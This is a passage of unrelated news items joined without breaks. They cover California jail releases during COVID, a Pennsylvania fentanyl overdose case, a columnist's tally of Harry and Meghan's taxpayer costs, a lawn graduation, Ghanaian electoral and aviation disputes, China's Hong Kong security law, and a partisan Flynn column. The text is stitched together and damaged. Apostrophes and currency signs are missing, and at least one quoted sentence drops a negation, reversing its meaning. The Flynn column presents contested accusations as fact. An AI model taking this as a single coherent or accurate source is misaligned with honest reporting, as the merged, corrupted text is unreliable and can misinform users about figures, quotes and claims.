The DMV is closed, so Weinberg cant get a new identification card. She doesnt know where her Social Security card is, cant open a bank account and doesnt have a credit history.

I had anticipated hitting the ground running, said Weinberg, who according to public records was an attorney before the fatal DUI crash that landed her behind bars. Not only am I just not able to do that, but Im anonymous as far as societys concerned.

Weinberg said she spends her newfound freedom studying online, taking Alcoholic Anonymous meetings via Zoom, and performing household chores.

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Police agencies have been quick to single out re-offenders. Alameda County has released nearly 1,000 inmates since March 15 and about 30 have been rearrested, said Sgt. Ray Kelly.

Among them was Rocky Music, whose antics were detailed on the Sheriffs Department Facebook page. Music was first detained on April 19 by Oakland police on suspicion of driving a stolen vehicle. Twelve hours later, he was released because of the zero bail order.

Kelly said that 37 minutes later, he allegedly carjacked someone near a transit station in Dublin, and drove the car to a San Ramon gas station, where he tried to carjack a second vehicle. Police responded, chased Music and ultimately detained him using a police dog, Kelly said.

There was mass hysteria to de-incarcerate over COVID-19, and in our county its proven not to be based on fact or scientific evidence, but based on fear, Kelly said.

The Alameda County jail population went from a pre-pandemic average of 2,600 to about 1,775 people. More than 50 inmates and two staff have tested positive for the coronavirus, and all but 14 current inmates have recovered.

Still, Kelly conceded it helped tremendously that fewer people were in custody and social distancing could be implemented, especially in the large dorm that houses minimum-security prisoners.

In San Luis Obispo County, Sheriff Parkinson said his agency took a pretty aggressive stance on the coronavirus: New inmates stay in a quarantine area for 14 days before going into the general population. Staff wear masks, and sheriffs deputies and inmates are given regular temperature checks. All 10 inmates who were tested had negative results.

Parkinson said his deputies supply all those released with Narcan, a prescription drug to treat opioid overdoses. Jail staff try to provide several days worth of medications, but the zero bail has limited their ability to get an accurate medical history when those arrested are swiftly released, he said.

San Luis Obispo County District Attorney Dan Dow said repeat offenders face few consequences, with criminal trials suspended and bail for many nonviolent offences eliminated.

Bail is there to make sure a person has an incentive to come to court and remain crime-free, Dow said. Just releasing them on zero bail  they have nothing to lose.

In one Orange County case, a man charged with vehicular manslaughter in connection with a street racing crash that left two people dead saw his bail fall from $100,000 to $20,000. The man was released last month, said District Attorney Todd Spitzer.

There comes a point where you have to weigh that the inmate might get a particular disease  which they might get outside of jail, that we all might get it outside of jail  against the public safety and the propensity that these people might commit crimes against another individual, Spitzer said.

Others argue that Californias criminal justice system has long jailed too many for minor offences and welcome the releases.

San Francisco District Attorney Chesa Boudin, a former public defender and champion of more progressive law enforcement policies, said early releases there included a woman with a high-risk pregnancy and no criminal record who was serving time for a misdemeanour as well as another person too mentally ill to stand trial.

The surge in releases highlights a need to fund more rehabilitative programs, he said.

One of the great failings of the American system of mass incarceration is its refusal to invest in re-entry ... It helps create and perpetuate a cycle of crime and violence, of poverty and victimization, Boudin said. It is possible to decrease the number of people in our jails and in our prisons in a way that does not impact public safety and does not lead to an increase in crime.
Two Allentown men, a Bethlehem man and a Bangor woman face felony drug charges in an investigation that was spurred by the death of a 37-year-old woman in upper Bucks County, authorities report.

Heather Barr died May 2 in her home in the 200 block of East Broad Street in Quakertown, the Bucks County District Attorneys Office reports after an investigation by the Bucks County Detectives Drug Strike Force and Quakertown police. She was found in a room along with eight waxy bags labeled Pink Panther containing a mixture of cocaine and fentanyl, and empty waxy bags with the same stamp and residue of the drug cocktail on them, the district attorneys office said.

Michael Breeland.Courtesy photo | For lehighvalleylive.com

The drugs were provided hours before her death by her brother Paul P. Barr II, 34, of Bethlehem in Northampton County, authorities said. The cause and manner of the womans death are pending complete results of an autopsy, but it is believed to have been as a result of an overdose, authorities said. Toxicology tests can take eight to 12 weeks, although preliminary findings show Heather Barr had fentanyl, amphetamine, methamphetamine and benzodiazepine in her blood at the time of her death, the district attorneys office said.

Paul Barr, of Bethlehem, and Cassandra Hope Mendelsohn, 30, of Bangor, were in the home when Heather Barr was found dead, authorities said. Barr and Mendelsohn had earlier driven to Allentown and bought the drugs from Michael James Breeland, 52, who lives in that city, the district attorneys office said.

Paul Barr II.Courtesy photo | For lehighvalleylive.com

A day after the death, Paul Barr again bought drugs labeled Pink Panther from Breeland and the drugs knocked him on his a**, authorities said. A woman with whom Barr shared those drugs overdosed but survived, the district attorneys office said. During the investigation, detectives three times arranged by phone and made purchases of suspected heroin from Breeland, authorities said. William G. White Jr., of Allentown, delivered the drugs each time in exchange for cash, the district attorneys office said.

Paul Barr and Mendelsohn tampered with Heather Barrs cellphone in an effort to destroy evidence, authorities said.

Breeland was arraigned May 15 before District Judge Lisa J. Gaier on five felony counts of delivery of a controlled substance, five felony counts of conspiracy to do the same, five felony counts of using a cellphone to commit a crime and three lesser charges, court papers say. He was housed in the county jail in lieu of 10% of $750,000 bail pending a preliminary hearing scheduled 10:30 a.m. July 20 in Gaiers court, records show. An attorneys name wasnt listed in court papers.

William White Jr.Courtesy photo | For lehighvalleylive.com

White, who is currently housed in Lehigh County Jail, is awaiting extradition to Bucks County for arraignment on three counts of delivery of a controlled substance, three counts of conspiracy, three counts of possession drugs and three counts of possession of drug paraphernalia, records show.

Paul Barr was arraigned May 13 before District Judge Jean Seaman on two counts of delivery of a controlled substance, two counts of conspiracy, two counts of using a cellphone to commit a crime, two counts of possession of drugs, and one count each of hindering apprehension and possession of drug paraphernalia, records show. He was housed in Bucks County in lieu of 10% of $175,000 bail pending a preliminary hearing scheduled for 10:30 a.m. July 20 in Gaiers court, records show. Court records did not show a defense attorney.

Cassandra Mendelsohn.Courtesy photo | For lehighvalleylive.com

Mendelsohn was arraigned early Tuesday before Gaier on two counts of delivery of a controlled substance, one count each of conspiracy, criminal use of a cellphone, hindering apprehension, possession of a controlled substance and possession of drug paraphernalia, records show. She was held in lieu of 10% of $100,000 bail pending a preliminary hearing scheduled for 10:30 a.m. July 20 in Gaiers court. Court records did not show a defense attorney.

The strike force and borough police were assisted by the state attorney generals office, Allentown police and Bethlehem police, authorities said. The investigation into Heather Barrs death continues, authorities said.

Thank you for relying on us to provide the journalism you can trust. Please consider supporting lehighvalleylive.com with a voluntary subscription.

Tony Rhodin may be reached at arhodin@lehighvalleylive.com.
Just two years ago this week, we were treated to the wedding of the decade.

Millions around the world tuned in as the bells rang out for Harry and Meghan, the modern face of the Royal Family.

Today, the vintage champagne has gone flat, the bells have long stopped ringing, and the couple have turned their backs on Britain, opting to live among the shallow royalty of Hollywood rather than the real thing.

The Sussexes' long goodbye has cost the House of Windsor much in damaged reputation.

But that is nothing compared to the financial cost to the British public.

The Duke and Duchess of Sussex wave to royal fans waiting on the Long Walk after their wedding ceremony

As a former Government minister and the author of . . . And What Do You Do?, a close study of the Royal Family's finances, this is an area that I have spent a long time analysing.

From their wedding day to March 31 this year, I estimate the British taxpayer has forked out more than 44 million to provide Harry and Meghan with, it seems, whatever they want.

The true figure may in fact be higher, though the opacity of many aspects of royal finances makes sourcing precise figures difficult.

We were promised that public funding for the pair would end after March 31, when they officially stepped back from royal life.

But things are not that simple. Even though they have left our shores, there's still a hefty bill to be paid.

Here's where the millions have gone  and are still going...

LIVING ACCOMMODATION

The newlyweds began married life in Nottingham Cottage, a cosy Victorian house in the grounds of Kensington Palace.

It was widely assumed that they would move into the much larger Apartment 1 nearby after it was refurbished.

The year-long works to the 21-room Apartment 1 are reported to have cost the taxpayer 1.4million for repairs on the roof and replacing all the windows.

(It is likely that this work would have been done even if Harry and Meghan had not moved there.)

Yet when it was finished, the couple reportedly decided they didn't want to move there after all.

The supposed reason? It was too close to William and Kate, with whom Meghan was said not to get on: there was even an adjoining door to the Cambridges' swanky apartment.

The newly renovated Frogmore Cottage on the Windsor Castle estate

The Queen therefore granted Harry and Meghan the use of Frogmore Cottage within the Windsor Castle estate.

Of course, it is not a cottage at all, but a sprawling listed building (pictured right), dating from 1801.

As the Mail reported last June, the renovations needed to turn it into a family home came in at 2.4million.

To ready Frogmore, five apartments previously used by royal staff were turned into a single dwelling, a huge change to a listed building and the sort to which Windsor and Maidenhead Borough Council might normally be expected to object.

The couple moved to Frogmore in the early summer of 2019 but stayed less than six months. Instead, they headed for Canada where they holed up in a 10.4million mansion on Vancouver Island, owned by an as-yet unnamed billionaire.

Now they are installed in a 14million mansion in an exclusive gated community in Beverly Ridge, Los Angeles, owned by music tycoon Tyler Perry, whom Meghan reportedly met through chat-show host Oprah Winfrey.

The couple have said they will repay the renovation costs for Frogmore Cottage. They have offered 18,000 a month, which is also meant to cover rent.

Assuming a rent of 10,000 a month, it will take them 25 years to repay the renovation costs, and that is without interest or any ongoing maintenance.

Yet between them they have a fortune of many millions. Harry received half of an inheritance of 21 million from his mother, an estimated 6million after tax.

Wellinvested by experts over 23 years, this is likely to have at the very least doubled.

The Duke is also widely reported to have inherited a further 7million from the Queen Mother in 2002, conservatively giving him an estimated fortune of 19million before we count his 2.3 million annually from Prince Charles. Meghan's acting career, meanwhile, brought her estimated earnings of between 2million and 5million.

The couple could repay the entire amount in one go now, if they chose to. Meanwhile, they have been enjoying the finer things in life.

In August last year, to celebrate Meghan's birthday, they spent a week at an exclusive Ibizan villa where the going rate for seven days is 100,000  though this may have been a gift.

Since the wedding, Meghan is also said to have amassed a 600,000 jewellery collection (including items gifted to her by Harry and the Queen), a collection larger than the late Princess Diana's, including a stunning new diamond ring.

By last June her collection was said to have grown to 91 pieces.

TOTAL FROGMORE RENOVATION BILL BEFORE ANY REPAYMENT: 2.4MILLION

STAFF

Harry and Meghan have not held back when it comes to employing their retinue of staff  but then, they haven't been paying for all of them.

Until March 31, when they ceased to be working royals, the team of up to 15 included a private secretary (who can earn a salary of 146,000 a year), PR director Sara Latham, and a full team of servants including a housekeeper (30,000) and a nanny.

Sara Latham, Meghan Duchess of Sussex and Prince Harry's new PR Director

The Sovereign Grant will have paid for their office staff, while the nanny will have been salaried from their private funds.

(London 'supernannies' who work for the capital's richest and most powerful families earn an average of 104,000, according to industry sources.)

Most of their staff were no longer required when the couple moved to Canada, so there may well have also been redundancy payments as well for those not redeployed to other roles in the royal household.

And of course the move to Canada generated a need for a whole new team, including PR firms, household staff and lawyers, though the UK taxpayer is not believed to have been liable for those.

I have been unable to quantify precise figures so these figures may be an underestimate  private secretary: 146,000.

Other staff, including an assistant private secretary, a communications secretary, an assistant communications secretary: 150,000.

ESTIMATED STAFF COSTS TO THE TAXPAYER OVER TWO YEARS: 592,000

SECURITY

The cost of providing protection for the Sussexes rocketed after their wedding, thanks in part to their fondness for globe-trotting.

In February 2019, Meghan flew to New York for a 'baby shower' widely estimated to have cost several hundred thousand pounds, although she disputes the figure.

In August last year, they spent a weekend with George and Amal Clooney at their luxury Lake Como villa and they have also spent time at Elton John's villa in the South of France.

While many of the flights taken by the couple in a private capacity were paid for by celebrity friends, they were always accompanied by protection officers funded by the taxpayer.

The bill for this, including business-class travel for the officers (as confirmed by former royal protection officer Ken Wharfe), and any overtime and away-from-home allowances, has fallen to the public.

Scenes from Windsor where police marksmen provided security for the royal wedding of Prince Harry and Meghan Markle

The couple's several house moves have also pushed up the costs to the public.

It is much more expensive to provide bespoke security in an exposed location outside London  such as Frogmore Cottage  than it is in Kensington Palace.

Security cover abroad, of course, is the most expensive of all.

While the couple briefly lived at Frogmore, a full security entourage, including motorcycle outriders any time Harry wanted to get to London, would likely have been deployed.

This is a requirement that would not have applied had they stayed at Kensington Palace.

As the couple are keeping Frogmore Cottage as their base in this country, a security detail is believed to remain in place there even though it is unoccupied and there is no sign of the couple coming back any time soon.

As I wrote in my recent book, Ken Wharfe has estimated that this latter element alone could amount to some 5million annually, for security officers to patrol the extensive premises, though this will depend on the level of security provided, for example the number of officers and patrols.

The bill for the ongoing security falls to Thames Valley Police, a force which has seen large cuts to its budget since 2010.

When the Sussexes moved to Canada, protection officers from the Metropolitan Police had to go as well to work alongside the Mounties, incurring a bill for both British and Canadian taxpayers.

Moreover, as the holders of HRH status despite no longer being working royals, Harry and Meghan remain entitled to protection.

So if the three of them in their family are in three separate places, as was sometimes the case before their move to LA, that required three separate police protection teams. In Canada, their security team was reportedly placed in a luxury 1,100-a-week Airbnb house.

Canada made it clear it would not pay for protection after March 31, and as the Sussexes landed in the United States, Donald Trump tweeted to say the U.S. was not paying either.

In the deal reached with the Palace, Harry and Meghan have kept their HRH titles but will not 'use' them.

This is significant as the status provides a mechanism for support  notably financial support from the taxpayer for security  to be provided to them.

Harry and Meghan appear to have finally accepted that they will have to pay towards their own security, at least for private and commercial trips where there is no royal connection.

It has been speculated that if full cover had been provided round the year in Canada, the costs (including Frogmore) could have reached 20 million annually.

However, I have merely counted security at Frogmore for nearly a year at 4.5million, plus almost two years of other protection, at 1.25million a year.

This is a very conservative estimate, especially bearing in mind the Canadian cover.

Less than one year's security at Frogmore: 4.5million. Almost two years of other protection: 2.5million.

TOTAL ESTIMATED SECURITY COSTS: 7 MILLION

THE BANK OF DAD

Since the wedding, Prince Charles has been widely reported to be funding Harry to the tune of 2.3million a year and is expected to continue to do so for at least a year.

As I wrote in my book, this came from the profits from the Duchy of Cornwall, established in the 14th century to provide an income stream for the heir to the throne.

Prince Harry has no connection to the Duchy and some might therefore see it as an entirely inappropriate use of Duchy money.

While William is likely to inherit the title one day, Harry never will.

Prince Charles, Prince of Wales and Prince Harry, Duke of Sussex attend the 'Our Planet' global premiere at Natural History Museum on April 04, 2019 in London, England

Controversially, Charles is allowed to classify this allowance to Harry as a business expense, which he can set against tax.

This means that the public purse continued to support Harry for as long as Charles continued with this approach to funding the Duke.

Charles is thought to have decided, since the Sussexes stopped undertaking royal duties, to meet the 2.3million from his own private funds, at least in the immediate term.

Assuming an allowance of 2.3 million a year, that comes to 4.3 million for the period from the wedding to March 31, 2020.

At a 45 per cent tax rate for Charles, the total tax saving (and thus indirect cost to the public) is 1.9million.

TOTAL ESTIMATED COST TO THE PUBLIC FROM LOSS OF TAX INCOME: 1.9 MILLION

JET-SETTING ECO WARRIORS

Harry once gained brownie points for taking an EasyJet flight back in 2011 from London to Edinburgh for Zara Tindall's wedding.

But those days are long-gone. Since then, Harry has developed a taste for private jets and helicopters, sometimes while he is on his way to deliver a speech about the threat from climate change.

In March 2019, he took a helicopter journey costing an estimated 5,000 from London to Birmingham and two days later told a crowd at Wembley Stadium to 'wake up' and act on 'the damaging impact our ways are having on the world'.

A Gulfstream G450 similar to the ones Meghan Markle and Prince Harry have taken

Last August, the Duke racked up four flights in private jets in 11 days, for which he was heavily criticised.

Elton John, who paid for one of these trips, issued a strongly worded statement in his defence.

Perhaps the pop star should now be singing about 'Harry And The Jets'.

In 2018/19 the couple flew to Australia and Singapore at a cost of 81,002, as well as a trip to Norway which cost 22,880.

Given Harry and Meghan's hitherto high-profile status with the Royal Family, I have estimated 400,000 each for their travel in the two years of their marriage, with a slight increase to take account of trips to travel to and from Canada.

TOTAL ESTIMATED TRAVEL BILL: 1MILLION

THE 33.5MILLION WEDDING BILL

The total bill for the wedding is estimated to be a staggering 33.5 million.

This is an increase of 1.5 million on the previously reported cost (calculated by wedding company Bridebook), now including sums incurred by the Department for Culture, Media and Sport (DCMS).

The average wedding in Britain costs around 18,000, meaning you could have bought 1,860 such events with Harry and Meghan's budget.

(William and Kate's nuptials in 2011 cost an estimated 20million.)

A State trumpeter played in preparations for forthcoming Royal Wedding

Of the 33.5 million, the royals reportedly contributed only about 2 million  leaving the taxpayer to pick up 94 per cent of the cost.

The vast majority of this went on security: estimated at 30million by Bridebook.

The hardpressed Ministry of Defence reportedly blew a reported 90,000 on 20 brand-new, silver-plated trumpets for the bash.

The manufacturer said the request was for 'a bit more bling' and 'more silver rings' on these instruments.

The DCMS's bill of 1.5million covered items including a 232,810 PA system, 128,714 for private contractors and 14,081 for flags and banners.

The taxpayers of Windsor and Maidenhead saw their council splurge more than 1million on crowd control barriers, big screens, stewarding and waste disposal.

Of the 2million spent by the royals, much of it went on clothes. Meghan's wedding dress (her second), a creation of Clare Waight Keller, came in at a reported 390,000.

That makes the dress worn by Kate for her 2011 wedding look a bargain at its estimated 250,000.

TOTAL ESTIMATED BILL FOR THE TAXPAYER: 31.5MILLION

TODAY

Harry and Meghan, freed from the restrictions of royalty, will not find it difficult to make many millions more to add to the tens of millions they already have.

Indeed, Harry's first private engagement in his new liberated role, which took place in February while he was still a working royal in receipt of public funds, was a speech to bankers and other rich Americans at a private JP Morgan event in Miami, reportedly flying there via private jet.

It is not known what he was paid, but experts from speaking agency Talent Bureau estimated the Sussexes could charge at least $100,000 (75,000) per public appearance, while Harry could receive up to $500,000 (382,000) for a single speech.

Norman Baker is the author of ...And What Do You Do? published by Biteback, RRP 20
EAST HAVEN  When Alicia Johnson walked at her commencement ceremony, the entire thing was done in pantomime and the stage was her front lawn.

The East Haven resident received her bachelor of science degree in nursing from Southern Connecticut State University in New Haven this semester, but because of the coronavirus pandemic the ordinary commencement ceremony at Bridgeports Webster Bank Arena was canceled.

Instead, SCSU President Joe Bertolino arrived at Johnsons home with a lawn sign announcing her graduation, miming a handshake and a transfer of a diploma. A spokesman for SCSU said 45 volunteers from the school made visits to about 300 homes this week to create the experience of a commencement ceremony for some of the expected 1,764 graduates in the class of 2020.

We decided to bring the celebration to you, Bertolino told Johnson as they posed for photos with school mascot Otus the Owl.

Johnson said not having the opportunity to walk at her graduation was sad, but she is completely understanding.

As sad as it is, its definitely for the best during these times, she said. It definitely makes us feel special individually.

Although graduates ordinarily are limited in how large their cheering section can be at a commencement ceremony, Johnsons family proudly stood by taking pictures. Neighbors who were walking their dogs also caught a glimpse of the action.

In Johnsons case, she had a bonus opportunity when Otus unmasked himself as her sister, Angela Ruggiero.

Its amazing. Im so glad we were able to do this, said Ruggiero, an employee of the university as associate director of the health care studies program. I was looking forward to sharing (commencement) with her, but this is a close second.

Bertolino said bringing commencement to the class of 2020 was the next best thing.

I want to bring the ceremony in some way, shape or form to the students, he said.

brian.zahn@hearstmediact.com
The Dean of the School of Performing Arts of the University of Ghana, Legon, Professor Kofi Agyekum, popularly known as Opanyin Agyekum has thrown his weight behind the Electoral Commission (EC) to compile a new voters' register, as long as their actions are backed by law.



The Electoral Commission (EC) has made calls for a new voters' register to eliminate unqualified names from the register.



The Commission is further seeking an amendment of the Constitutional Instrument (C.I) 91 in the legislative house which will make the Ghana card and Ghanaian passport the only legal documents for the registration exercise.



The EC added it will allow applicants without the two requirements to participate in the exercise but on conditions in order not to disenfranchise eligible electorates during the general elections.



''An applicant who does not have the Ghana card or passport may resort to obtaining two guarantors to facilitate their registration and therefore the exclusion of the Voter ID as a requirement will not lead to suppression of votes',' the Commission said.



"The Electoral Commission wishes to assure all stakeholders at all levels of its determination to deliver free, fair and credible Presidential and Parliamentary Elections on December 7, 2020 as mandated by law, the EC added.



Opanyin Agyekum has urged the EC not to succumb to opposition but stay focused on what it seeks to achieve.



''They should be focused. If the law permits what they've set their minds to do, they should go ahead with it. If we follow the mouths of people, we might not even eat...They should do it with a clear conscience because if your conscience is clear, nothing a person says can harm you. We, citizens, should also understand that we have no other country apart from Ghana'', Opanyin Agyekum stated on 'Kokrokoo' on Peace FM.





Source: Ameyaw Adu Gyamfi/Peacefmonline.com/Ghana









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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Beijing, May 22 : A draft decision on establishing and improving the legal system and enforcement mechanisms for Hong Kong to safeguard national security was submitted to China's national legislature for deliberation on Friday.

Wang Chen, Vice Chairman of the Standing Committee of the National People's Congress (NPC) explained the draft decision to the third session of the 13th NPC, which runs from May 22 to 28, reports Xinhua news agency.

The draft decision consists of an introduction and seven articles, according to Wang.

Since the return of Hong Kong to the motherland, China has been firmly implementing the principles of "one country, two systems", "the people of Hong Kong governing Hong Kong," and a high degree of autonomy, Wang said.

The practice of "one country, two systems" has achieved unprecedented success in Hong Kong, he said.

But the increasingly notable national security risks in the city have become a prominent problem, the Vice Chairman said.

Law-based and forceful measures must be taken to prevent, stop and punish such activities, he noted.

Article 23 of the Basic Law of the HKSAR stipulates that city will enact laws on its own to prohibit any act of treason, secession, sedition, subversion against the Central People's Government, or theft of state secrets, to prohibit foreign political organizations or bodies from conducting political activitie, and to prohibit political organizations or bodies of the Hong Kong from establishing ties with foreign political organizations or bodies.

Relevant laws are yet to materialize due to the sabotage and obstruction by those trying to sow trouble in Hong Kong and China at large, as well as external hostile forces, Wang said.

Considering Hong Kong's situation at present, efforts must be made at the state-level to establish and improve the legal system and enforcement mechanisms to safeguard national security, to change the long-term "defenceless" status in the field of national security, he added.

After the issuance of the decision, the NPC Standing Committee will work with related parties to formulate relevant laws at an earlier date for Hong Kong to safeguard national security, actively push for settling prominent problems in the national security system, strengthen the building of special institutions, enforcement mechanisms and law enforcement forces, so as to ensure relevant laws' effective implementation in the city, Wang said.

-- The story has been published from a wire feed without any modifications to the text
China has sought the support and understanding of India and other countries for its controversial decision to impose a new national security law on Hong Kong, saying the new legislation is aimed at containing the "secessionist" forces in the former British colony who have posed a "grave threat" to the country's national security and sovereignty.

In an apparent move to blunt any international backlash, China has sent demarches to India and several other countries explaining the reason for the new draft legislation with a reminder that upholding national security" in Hong Kong Special Administrative Region (HKSAR) is "purely China's internal affair and foreign country may interfere in this matter.

China on Friday introduced the draft of a controversial national security law in Hong Kong in its parliament to tighten Beijing's control over the former British colony, in what could be the biggest blow to the territory's autonomy and personal freedoms since 1997 when it came under Chinese rule.

Hong Kong is a Special Administrative Region (SAR) of China. It has observed a "one country, two systems" policy since Britain returned sovereignty to China on July 1, 1997, which has allowed it certain freedoms the rest of China does not have.

Your country maintains close economic and trade cooperation as well as people-to-people exchanges with Hong Kong.

Hong Kong's prosperity and long-term stability is in line with the common interests of the whole international community, including your country, as well as protection of your country's legitimate interests in Hong Kong. We hope that your government will understand and support China's relevant practices," it said.

The demarche said since the return of Hong Kong to China 23 years ago, the Hong Kong SAR has not acted out its constitutional duty for national security in line with China's Constitution and the Basic Law.

There is a clear loophole in Hong Kong's legal system and an absence of a mechanism of enforcement. The opposition in Hong Kong have long colluded with external forces to carry out acts of secession, subversion, infiltration and destruction against the Chinese mainland," it said.

The turbulence over the amendment bill in Hong Kong last June has greatly undermined the SAR's rule of law and stability and battered its economy and people's livelihoods," it said, referring to the agitation by millions of local residents since last year, demanding more autonomy and less interference from China.

"These activities have not only caused enormous damage to the security of the SAR authorities and public order, mounted a serious challenge to the principle of one country, two systems, but also posed a grave threat to China's national security, sovereignty, unity and territorial integrity," it said.

Hong Kong has become a "notable source of risk" to China's national security, it said. The Central Government of China shoulders the primary and ultimate responsibility for upholding national security, it said, adding that Beijing cannot just sit by and do nothing to the above-mentioned activities.

To establish and improve the legal system and enforcement mechanism for upholding national security in the Hong Kong SAR is something that must be done--- and done without delay," it said.

The NPC is the highest organ of State power in China, it said, adding that the Constitution and the Basic Law gives it power and responsibility to deliberate on legislation for upholding national security in the Hong Kong SAR.

Hong Kong independence elements, separatists and those organising and joining terrorist activities only form a tiny minority in Hong Kong. It is these people that must be punished in accordance with law, it said.

By doing so, we can protect the vast majority of the Hong Kong people who abide by law. This meets the fundamental interests of Hong Kong society," it said.

Hong Kong is a Special Administrative Region of China. The legislation for upholding national security in the Hong Kong SAR is purely China's internal affair. No foreign country may interfere in this matter, it said.

The bill which is set to be approved by the NPC, regarded as the rubber-stamp parliament for its routine approval of proposals by the ruling Communist Party of China (CPC), comes in the backdrop of relentless agitation by the local Hong Kong people demanding political and administrative autonomy agreed by China when it took possession of the former British colony in 1997.

While the seven-month-long agitation last year in which millions took part subsided during the coronavirus crisis from January to April, protestors returned to streets this month, with the pro-autonomy and pro-freedom legislators grappling with the security officials in local legislature protesting against the curbs.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
As the Russia hoax unfolded, Trump-supporters knew that Trump and his team would be vindicated. Vindication began in 2019, when Mueller was unable to tie Trump or his campaign to Russia. Today, the trickle of stories about the Obama administration's illegal spying on and lying about Trump is becoming a flood.

But with all of these stories coming down the pike, one question stands out above all the others: why wasn't General Flynn just one target among many people who were spied upon in case they could derail either Trump's campaign or his presidency? The administration's excessive unmasking requests, the fact that the Kislyak phone call wasn't masked to begin with, and the vicious prosecution show that Flynn was special.

The redoubtable Lee Smith thinks the answer lies in Obama's obsession with making the Iran deal his ultimate legacy:

The answer is that Obama saw Flynn as a signal threat to his legacy, which was rooted in his July 2015 nuclear agreement with Iran  the Joint Comprehensive Plan of Action (JCPOA). Flynn had said long before he signed on with the Trump campaign that it was a catastrophe to realign American interests with those of a terror state. And now that the candidate he'd advised was the new president-elect, Flynn was in a position to help undo the deal. To stop Flynn, the outgoing White House ran the same offense it used to sell the Iran deal  they smeared Flynn through the press as an agent of a foreign power, spied on him, and leaked classified intercepts of his conversations to reliable echo chamber allies.

Most of us could tell that Russia was a straw man. Obama's actual attitude to Russia was summed up in two moments. In March 2012, Obama asked then-president Medvedev to tell the real power, Putin, that he would be more flexible about missile defense after his re-election. He practically begged for Russia to interfere in the 2012 election:

Then, in July 2012, during a debate with Romney, Obama spoke a rehearsed line about Russia's irrelevance:

Obama wasn't the only one who had a problem, not with Russia, but with Flynn, writes Smith. The FBI also feared Flynn because he knew where the secrets were:

Obama and his foreign policy team were hardly the only people in Washington who had their knives out for Michael Flynn. Nearly everyone did, especially the FBI. As former director of the Defense Intelligence Agency, the Pentagon's spy service, and a career intelligence officer, Flynn knew how and where to find the documentary evidence of the FBI's illegal spying operation buried in the agency's classified files  and the FBI had reason to be terrified of the new president's anger.

Flynn had also proven prophetic about Middle East terrorism (e.g., challenging Obama's dismissive claim that ISIS was a "J.V. team"):

"Flynn's warnings that extremists were regrouping and on the rise were inconvenient to an administration that didn't want to hear any bad news," says former DIA analyst Oubai Shahbandar. "Flynn's prophetic warnings would play out exactly as he'd warned shortly after he was fired."

An intelligence master, Flynn understood the weaknesses in America's intelligence-gathering, especially regarding jihadist Islam. The Obama administration, however, did not want better information about Iran. Obama wanted a deal, no matter what. When Flynn had lined up a CENTCOM meeting in Virginia to advance investigating an al QaedaIran nexus, the Obama administration shut it down:

The administration was, it appears, clearing space for Obama to implement his big foreign policy idea  the Iran nuclear deal. Another aide, Ben Rhodes, had said in 2013 that the Iran Deal was the White House's key second-term initiative. Evidence that Tehran was coordinating with a terror group that had slaughtered thousands in Manhattan and at the Pentagon would make it harder to convince American lawmakers of the wisdom in legitimizing Iran's nuclear weapons program. What was the information about al-Qaida's ties to Iran that Flynn wanted his CENTCOM team to get out? According to published news reports, the bin Laden database included "letters about Iran's role, influence, and acknowledgment of enabling al-Qaida operatives to pass through Iran as long as al-Qaida did its dirty work against the Americans in Iraq and Afghanistan." One of those letters showed that "Al-Qaeda was working on chemical and biological weapons in Iran."

Smith's done his homework and has a lot more to say about Obama's relentless, anti-Semitic, illegal, and anti-American drive to seal the deal. This shoddy, dangerous deal was going to be his legacy, and nobody  especially Flynn  was going to stop him.

What perplexes me is the fact that Flynn said nothing about any of this while he was being persecuted, er, prosecuted. As an extremely successful spy chief, he was the one who ought to have scared the Democrats running this corrupt show. Think how Chuck Schumer described the risks of running afoul of the Intelligence Community:

Let me tell you: You take on the intelligence community, they have six ways from Sunday at getting back at you. So, even for a practical, supposedly hard-nosed businessman, he's being really dumb to do this.

If I'm correct about my facts, there's a disconnect here that lends itself to two explanations. The first is that the DOJ and FBI didn't stop at threatening to destroy Flynn's son. There may have been some stronger threat there that truly silenced Flynn, and that's now been neutralized. The second is that Trump early on promised Flynn that he would make him whole in some way but asked that Flynn let the process play out for some greater political goal, such as bringing down the whole corrupt Obama-Deep State edifice.
Hrithik Roshan is inspired by mom Pinky Roshan's fitness at 68, thanks everyone for supporting her
Joseph Kofi Adda, the Minister of Aviation has stated that the Board of the Ghana Airports Company Limited (GACL)turned down the offer from LCD Worldwide to disinfect the airports due to unacceptable cost.



LCB had earlier offered to undertake the disinfection exercise at the Airports at a cost of $19 million, recoverable through a 20 dollar charge per round trip to be borne by air passengers which would further add to a higher ticket cost for travelers, he said.



The Minister said this in Accra during a press briefing to refute allegations from executives of Ghana Trade Union Association, accusing him and Mr Yaw Kwakwa, the Managing Director, GACL, of diverting a contract meant to LCB Worldwide for the disinfection of airports.



To help appreciate the financial implication of the exchange rate, LCB, after investing the initial amount, would be drawing from passengers, the equivalent of GH325 million per year.



These margins, the Minister said, were guaranteed in perpetuity, as the proposal stipulated no term limit, which was contrary to the guidance and standards established by the International Air Transport Association and the International Civil Aviation Organisation (ICAO) on aviation-related charges.



According to the Minister, by the standards and procedures of the Ministry and its agencies, LCB Worldwide had no contractual relations with the GACL, and the accusation of contract diversion was palpably false.



The Ministry and its agencies will not countenance any engagement that does not go through due process as provided for under the Public Procurement Act even though it welcomes companies interested in any aspect of business in the sector, which they qualify to undertake, especially the likes of LCB, he said.



The GUTA executives have accused the Minister of taking the safety and lives of their members who transact business at the Airports for granted by refusing to adhere to a directive from Mr Kwaku Agyeman, the Minister of Health through a letter dated May 17, 2019 directed to take steps to comply with International Legislation concerning International Health Regulations for disinfection of Ghanas Airports.



They argued that it was the Ministry of Health and the Ghana Health Service that had jurisdiction over all matters relating to Health and disinfection at the Airports and not the Ministry of Aviation and the Ghana Airports Company Limited.



The Minister responded to comments by the GUTA executives saying matters of Aviation policy and Airport management principles and standards, as well as internationally approved procedures, are highly specialized and managed by the Ministry and GACL.



The Minister conceded that even though LCB had a contract with the Ministries of Transport and Health, the scope of work to undertake that contract was for the disinfection of the ports of Tema and Takoradi, and not Airports, which were not under the purview of the two Ministries.



The safety and security has always been our priority. I have demonstrated excellence since assuming leadership of the sector in 2018. Ghana attained an effective implementation score of 89.89 per cent, the highest by an African country at the time, after an audit by the International Civil Aviation Organisation (ICAO) in April 2019.



He said at the ICAOs 40th Triennial Assembly in Montreal, Canada, in October 2019, Ghana was recognised and became the only country after Qatar to receive awards for aviation safety and security.

Source: GNA









